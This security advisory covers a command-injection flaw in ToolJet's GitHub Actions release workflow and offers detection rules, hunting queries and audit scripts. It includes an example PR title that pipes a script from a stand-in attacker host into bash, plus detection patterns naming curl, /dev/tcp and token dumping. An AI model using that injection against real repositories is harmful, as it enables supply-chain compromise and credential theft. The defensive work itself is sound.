NVD has published CVE-2026-137964, a CVSS 9.8 (Critical), network-exploitable command injection vulnerability affecting ToolJet versions prior to 3.21.96-LTS — but the vulnerable component isn't the ToolJet application your users log into. It's the GitHub Actions release workflow in the ToolJet repository itself. The workflow interpolates the pull request title directly into a shell run block, meaning an attacker who submits a PR against a release branch with shell metacharacters in the title can achieve arbitrary command execution inside the runner once that PR is merged.
The blast radius here is what elevates this from "bad workflow hygiene" to a critical supply-chain event: the injected commands execute in a context holding a cross-repository GITHUB_TOKEN, which the attacker can leverage to perform unauthorized merges into enterprise repositories. If your organization runs ToolJet, forks its repository, contributes to it, or — critically — has adopted its workflow patterns as a template for your own release automation, you are in scope. This is the exact class of vulnerability that turns one poisoned PR title into a multi-repo compromise.
Action items up front: upgrade ToolJet to 3.21.96-LTS or later, audit your workflow files for direct interpolation of PR metadata into run blocks, review merge history for suspicious PR titles, and rotate any tokens that may have been exposed. Details and detection content follow.
Technical Analysis
Affected Products and Versions
| Attribute | Detail |
|---|---|
| CVE | CVE-2026-137964 |
| CVSS v3.x | 9.8 (Critical) |
| Attack Vector | Network (AV:N) — exploitable remotely via a crafted pull request |
| Affected Product | ToolJet (open-source low-code platform) |
| Affected Versions | All versions before 3.21.96-LTS |
| Affected Component | GitHub Actions release workflow (.github/workflows/ in the ToolJet repository) |
| Fixed Version | 3.21.96-LTS |
How the Vulnerability Works
The root cause is a textbook — but devastatingly common — GitHub Actions anti-pattern: direct interpolation of untrusted GitHub event context into a shell run block. In vulnerable ToolJet workflow versions, the release workflow contains logic conceptually equivalent to:
run: echo "Processing PR: ${{ github.event.pull_request.title }}"
The expression ${{ github.event.pull_request.title }} is evaluated by GitHub Actions before the shell ever sees it — it is string substitution, not a variable passed to the shell. This means the PR title becomes literal shell source code. An attacker who opens a pull request against a release branch with a title such as:
Release notes"; curl -s https://attacker.example/p.sh | bash; echo "
...has just written arbitrary shell into the workflow. When the PR is merged and the release workflow fires, the runner executes the injected commands.
The attack chain from a defender's perspective:
- Reconnaissance: Attacker identifies the vulnerable workflow in the public ToolJet repository (or any downstream fork/derivative using the same pattern).
- Weaponization: Attacker crafts a plausible-looking PR against a release branch, embedding shell metacharacters and a payload in the title. The payload is typically staged to (a) dump the
GITHUB_TOKENand runner environment, (b) establish a callback, or (c) directly abuse the token via the GitHub API. - Trigger: A maintainer merges the PR. The release workflow executes — now with the injected shell commands inline.
- Privilege abuse: The workflow's
GITHUB_TOKENis cross-repository scoped in this configuration. The attacker uses it to authenticate to the GitHub API and force merges into other enterprise repositories the token can reach — bypassing branch protection review gates by acting as an authorized automation identity. - Impact: Unauthorized code lands in enterprise repos. From here, downstream consequences include poisoned releases, backdoored artifacts, and lateral movement into any system consuming those repositories.
Why the Cross-Repository Token Is the Real Story
A default GITHUB_TOKEN is scoped to the repository running the workflow and expires with the job. A cross-repository token — whether an over-scoped PAT, a GitHub App installation token with broad repo access, or a token granted via permissions: plus cross-repo configuration — converts a single workflow injection into an organization-wide code-integrity failure. In IR engagements involving CI/CD compromise, the token scope is almost always the multiplier. This CVE is a reminder to treat every workflow token as a production credential.
Exploitation Status
As of publication, CVE-2026-137964 has been published to NVD with a Critical rating and a network attack vector. There is no confirmed CISA KEV listing at this time and no vendor-confirmed in-the-wild exploitation in the source reporting. However, the exploitation barrier is low: the vulnerable workflow definition is visible in the public repository history, the technique (script injection via GitHub context interpolation) is well documented in the security research community, and PR titles are attacker-controlled by design. Defenders should treat this as trivially weaponizable and prioritize accordingly — especially given that forks and copied workflow patterns extend exposure well beyond the ToolJet project itself.
Detection & Response
This is a CI/CD vulnerability, so detection lives in two places: (1) the GitHub audit log (your ground truth for PR and token activity) and (2) self-hosted runners, if you operate them — these are endpoint assets and should be instrumented like production servers. GitHub-hosted runners are ephemeral, so retrospective audit-log analysis is your primary control there.
Priority Hunt: PR Titles with Shell Metacharacters
Your highest-fidelity signal is embarrassingly simple: legitimate release PR titles almost never contain $(, backticks, | bash, curl, ;, or &&. Hunt your merge history.
Sigma Rules
The following rules target self-hosted runner behavior and workflow tampering. Deploy them against runner infrastructure and any Windows/Linux systems where workflow files are checked out.
---
title: GitHub Actions Runner Executing Suspicious Shell Commands
id: 3f8c2a14-7b5e-4d91-a6c2-8e1f4b9d7a35
status: experimental
description: Detects suspicious command execution patterns spawned by GitHub Actions runner worker processes, consistent with command injection via PR title interpolation (CVE-2026-137964). Looks for common payload delivery and shell metacharacter patterns in commands executed under runner context.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-137964
- https://attack.mitre.org/techniques/T1059/004/
author: Security Arsenal
date: 2026/04/06
tags:
- attack.execution
- attack.t1059.004
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentCommandLine|contains:
- 'run.sh'
- 'Runner.Worker'
- 'actions-runner'
selection_payload:
CommandLine|contains:
- 'curl'
- 'wget'
- 'base64 -d'
- '| bash'
- '| sh'
- '/dev/tcp/'
- 'GITHUB_TOKEN'
- 'printenv'
condition: selection_parent and selection_payload
falsepositives:
- Legitimate workflow steps that download dependencies (narrow by repository/workflow allowlist)
- Build scripts using curl for artifact retrieval
level: high
---
title: GitHub Actions Workflow File Modified or Created
id: 91d4e6b2-3c7f-4a58-b9d1-2f6a8c4e5b71
status: experimental
description: Detects creation or modification of GitHub Actions workflow YAML files. Relevant to CVE-2026-137964 post-exploitation, where an attacker with a cross-repository token may push malicious workflow changes to enterprise repositories to establish persistence or expand access.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-137964
- https://attack.mitre.org/techniques/T1554/
author: Security Arsenal
date: 2026/04/06
tags:
- attack.persistence
- attack.defense_evasion
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|contains:
- '\.github\workflows\'
TargetFilename|endswith:
- '.yml'
- '.yaml'
falsepositives:
- Developers legitimately editing workflow files (tune by Image/ User, correlate with change tickets)
level: medium
---
title: GitHub CLI or API Token Usage from Runner Host
id: 5b2a9f17-8d3e-4c62-a7f4-1e9b6d3c8a24
status: experimental
description: Detects use of the GitHub CLI (gh) for merge or API operations on systems running GitHub Actions runners, which may indicate abuse of a stolen cross-repository GITHUB_TOKEN as described in CVE-2026-137964. Unauthorized merges into enterprise repositories are the documented impact.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-137964
- https://attack.mitre.org/techniques/T1078/004/
author: Security Arsenal
date: 2026/04/06
tags:
- attack.impact
- attack.t1078.004
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith: '\gh.exe'
selection_cmd:
CommandLine|contains:
- 'pr merge'
- 'api repos'
- 'api /repos'
- 'repo sync'
- 'auth token'
condition: selection_img and selection_cmd
falsepositives:
- Legitimate automation using gh on build servers (restrict rule scope to runner hosts and alert on non-standard accounts)
level: high
KQL — Microsoft Sentinel / Defender
If you ingest GitHub audit logs into Sentinel (strongly recommended — the GitHub connector is free), hunt merged PRs whose titles contain shell metacharacters, and review token-driven merges. The second query covers self-hosted runners via Defender for Endpoint. Combine both in one hunting workbook.
// Hunt 1: Merged PRs with shell metacharacters in titles (GitHub audit log via CommonSecurityLog/CEF or custom ingestion)
// Tune field names to your GitHub audit connector mapping.
let metachars = dynamic(["$(", "`", "| bash", "| sh", "; curl", "; wget", "&&", "base64", "printenv"]);
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DeviceVendor has "GitHub" or AdditionalExtensions has "pull_request"
| where Activity has_any ("merged", "pull_request.merge") or Message has "merged"
| extend PrTitle = extract(@'title[":= ]+"([^"]+)"', 1, Message)
| where PrTitle has_any (metachars)
| project TimeGenerated, SourceUserName, Activity, PrTitle, Message, DestinationHostName
| order by TimeGenerated desc;
// Hunt 2: Suspicious child processes under GitHub Actions runner on self-hosted endpoints (Defender for Endpoint)
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where InitiatingProcessFileName has_any ("Runner.Worker", "Runner.Listener", "run.cmd", "run.sh")
or InitiatingProcessCommandLine has "actions-runner"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "bash", "sh", "curl.exe", "wget.exe", "gh.exe")
or ProcessCommandLine has_any ("| bash", "| sh", "base64", "GITHUB_TOKEN", "printenv", "/dev/tcp/")
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| order by TimeGenerated desc;
// Hunt 3: gh CLI merge activity on runner-class devices (token abuse for unauthorized cross-repo merges)
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where FileName =~ "gh.exe"
| where ProcessCommandLine has_any ("pr merge", "api repos", "api /repos", "auth token")
| join kind=leftouter (
DeviceInfo
| summarize arg_max(TimeGenerated, *) by DeviceId
| project DeviceId, DeviceName, OSPlatform
) on DeviceId
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, OSPlatform
| order by TimeGenerated desc
Velociraptor VQL — Self-Hosted Runner Triage
If you run self-hosted GitHub Actions runners, deploy this artifact to (a) inventory workflow files that dangerously interpolate PR metadata and (b) catch live suspicious processes under the runner context. The workflow-file glob is your CVE-2026-137964 exposure check across any repo cloned or hosted on the endpoint.
-- CVE-2026-137964 Triage: dangerous PR-title interpolation in workflow files
-- plus suspicious processes running under the GitHub Actions runner context.
-- Part 1: Find workflow files interpolating pull request title directly into run blocks
SELECT FullPath,
upload(file=FullPath) AS ContentSample
FROM glob(globs='**/.github/workflows/*.y*ml', root='/')
WHERE FullPath =~ 'workflows'
AND read_file(filename=FullPath) =~ 'github\\.event\\.pull_request\\.title'
AND read_file(filename=FullPath) =~ 'run:'
-- Part 2: Live processes spawned by the Actions runner with suspicious command lines
SELECT Pid, Ppid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE (CommandLine =~ 'Runner\\.Worker|actions-runner|run\\.sh'
OR Name =~ 'bash|sh|pwsh|powershell|curl|wget|gh')
AND CommandLine =~ '\\|\\s*(ba)?sh|base64|GITHUB_TOKEN|printenv|/dev/tcp/|pr merge|api repos'
Remediation & Exposure Audit Script
Run this against any checkout of the ToolJet repository (or your own repos) to (1) confirm the ToolJet version is at or past the fixed release, and (2) flag every workflow file that interpolates PR titles or other untrusted event context directly into run blocks — the exact CVE-2026-137964 pattern.
#!/usr/bin/env bash
# CVE-2026-137964 audit: ToolJet version check + dangerous workflow interpolation scan
set -euo pipefail
echo "=== [1/3] ToolJet version check (fixed: 3.21.96-LTS) ==="
if command -v jq >/dev/null 2>&1 && [ -f package.json ]; then
VER=$(jq -r '.version // "unknown"' package.json)
echo "Detected ToolJet/package version: ${VER}"
if [[ "${VER}" == "unknown" ]]; then
echo "[!] Could not determine version from package.json — check your deployment manifest."
else
MAJMIN=$(echo "${VER}" | sed 's/-LTS//')
if [[ "$(printf '%s\n3.21.96\n' "${MAJMIN}" | sort -V | head -n1)" == "3.21.96" ]]; then
echo "[OK] Version is at or above the fixed 3.21.96-LTS baseline."
else
echo "[VULNERABLE] ${VER} is below 3.21.96-LTS — upgrade immediately."
fi
fi
else
echo "[!] package.json not found — run from the repository root or check deployed image tags:"
echo " docker images | grep -i tooljet"
fi
echo ""
echo "=== [2/3] Scanning workflow files for untrusted context interpolation in run blocks ==="
HITS=0
for f in $(find . -path '*/.github/workflows/*.yml' -o -path '*/.github/workflows/*.yaml' 2>/dev/null); do
if grep -nE 'run:.*\$\{\{[^}]*github\.event\.(pull_request\.(title|body)|issue\.(title|body)|comment\.body|head_ref)' "$f" >/dev/null 2>&1; then
echo "[DANGEROUS] $f"
grep -nE 'run:.*\$\{\{[^}]*github\.event\.' "$f" | sed 's/^/ /'
HITS=$((HITS+1))
fi
done
[ "$HITS" -eq 0 ] && echo "[OK] No direct interpolation of PR/issue metadata in run blocks found."
echo ""
echo "=== [3/3] Checking GITHUB_TOKEN permission scoping in workflows ==="
for f in $(find . -path '*/.github/workflows/*.yml' -o -path '*/.github/workflows/*.yaml' 2>/dev/null); do
if ! grep -qE '^\s*permissions:' "$f"; then
echo "[WARN] $f — no explicit 'permissions:' block; GITHUB_TOKEN defaults may be over-permissive."
fi
if grep -nE '(PAT_|secrets\.[A-Z_]*TOKEN|GH_TOKEN)' "$f" | grep -v 'secrets.GITHUB_TOKEN' >/dev/null 2>&1; then
echo "[REVIEW] $f — references a non-default token; verify it is not cross-repository scoped."
grep -nE '(PAT_|secrets\.[A-Z_]*TOKEN|GH_TOKEN)' "$f" | grep -v 'secrets.GITHUB_TOKEN' | sed 's/^/ /'
fi
done
echo ""
echo "=== Done. Remediate any [VULNERABLE], [DANGEROUS], or [REVIEW] findings before next release run. ==="
For Windows-based self-hosted runners, the equivalent quick triage:
# CVE-2026-137964 triage for self-hosted Windows runners
# 1) Locate runner installations and recent worker logs
Get-ChildItem -Path 'C:\','D:\' -Filter 'Runner.Worker.exe' -Recurse -ErrorAction SilentlyContinue |
Select-Object FullName, LastWriteTime
# 2) Search workflow files for dangerous PR-title interpolation in run blocks
Get-ChildItem -Path 'C:\repos','D:\a' -Recurse -Include '*.yml','*.yaml' -ErrorAction SilentlyContinue |
Where-Object { $_.FullName -match '\.github\\workflows' } |
Select-String -Pattern 'run:.*\$\{\{.*github\.event\.pull_request\.(title|body)' |
ForEach-Object { "[DANGEROUS] $($_.Path):$($_.LineNumber) -> $($_.Line.Trim())" }
# 3) Hunt recent process creation (4688 with command line) for gh CLI merge activity
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688; StartTime=(Get-Date).AddDays(-14)} -ErrorAction SilentlyContinue |
Where-Object { $_.Message -match 'gh\.exe' -and $_.Message -match 'pr merge|api repos|auth token' } |
Select-Object TimeCreated, @{n='Cmd';e={ ($_.Message -split "`n") -match 'Process Command Line' }} |
Format-List
Remediation
-
Upgrade ToolJet to 3.21.96-LTS or later immediately. This is the fixed release for CVE-2026-137964. Track the official advisory via the NVD entry (https://nvd.nist.gov/vuln/detail/CVE-2026-137964) and the ToolJet GitHub repository's security advisories and release notes. If you deploy via container images, pin and verify the new tag; do not rely on floating
latesttags. -
Eliminate the vulnerable pattern everywhere — not just in ToolJet. Any workflow that interpolates
${{ github.event.pull_request.title }},body,head_ref,issue.title, orcomment.bodydirectly into arun:block is exploitable by the same technique. The correct pattern is to pass the value through an intermediate environment variable, which is set via GitHub Actions' environment mechanism rather than string substitution, so the shell treats it as data, not code. Audit every repository in your organization, including forks and template repos — copied workflow files are how this class of bug propagates. -
Audit merge and workflow history for exploitation. Pull your GitHub audit log for the last 90 days (or your retention window) and review: merged PR titles containing shell metacharacters (
$(, backticks,;,&&,| bash,curl,wget); workflow runs on release branches triggered by merges from external or first-time contributors; and any merges performed by automation identities or tokens outside normal release cadence. Treat any hit as a potential incident and initiate your IR process. -
Rotate credentials with cross-repository reach. If there is any chance the vulnerable workflow executed with attacker-controlled input, rotate the cross-repository
GITHUB_TOKEN, any PATs referenced by workflows, GitHub App installation tokens, and deploy keys. Then right-size: no workflow should hold a token with write access to more repositories than it strictly needs. Prefer fine-grained PATs or GitHub Apps with per-repo installation scoping over classic PATs and org-wide tokens. -
Harden GitHub Actions org-wide (prevent the next CVE in this class):
- Set the default
GITHUB_TOKENpermission to read-only at the organization/enterprise level and grant write scopes explicitly per workflow with apermissions:block. - Require approval for all outside collaborators before workflows run on their PRs (Settings → Actions → Fork pull request workflows).
- Avoid
pull_request_targetunless absolutely required; it runs the base-branch workflow with secrets available against attacker-controlled code. - Enforce branch protection with required reviews on release branches and require status checks — an injected title should never survive a competent code review.
- Use CODEOWNERS on
.github/workflows/so workflow changes require security/platform-team approval. - Pin third-party actions to full-length commit SHAs, not mutable tags.
- Instrument self-hosted runners with EDR and forward GitHub audit logs to your SIEM — the detections above depend on it.
- Set the default
-
Deadline guidance. No CISA KEV mandate applies as of publication, but for a CVSS 9.8, network-exploitable injection with a documented privilege-escalation path into enterprise source control, we recommend treating this as an emergency change: patch within 72 hours, complete the workflow-pattern audit within one week, and finish token rotation for any environment where exploitation cannot be ruled out.
Related Resources
Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub
Is your security operations ready?
Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.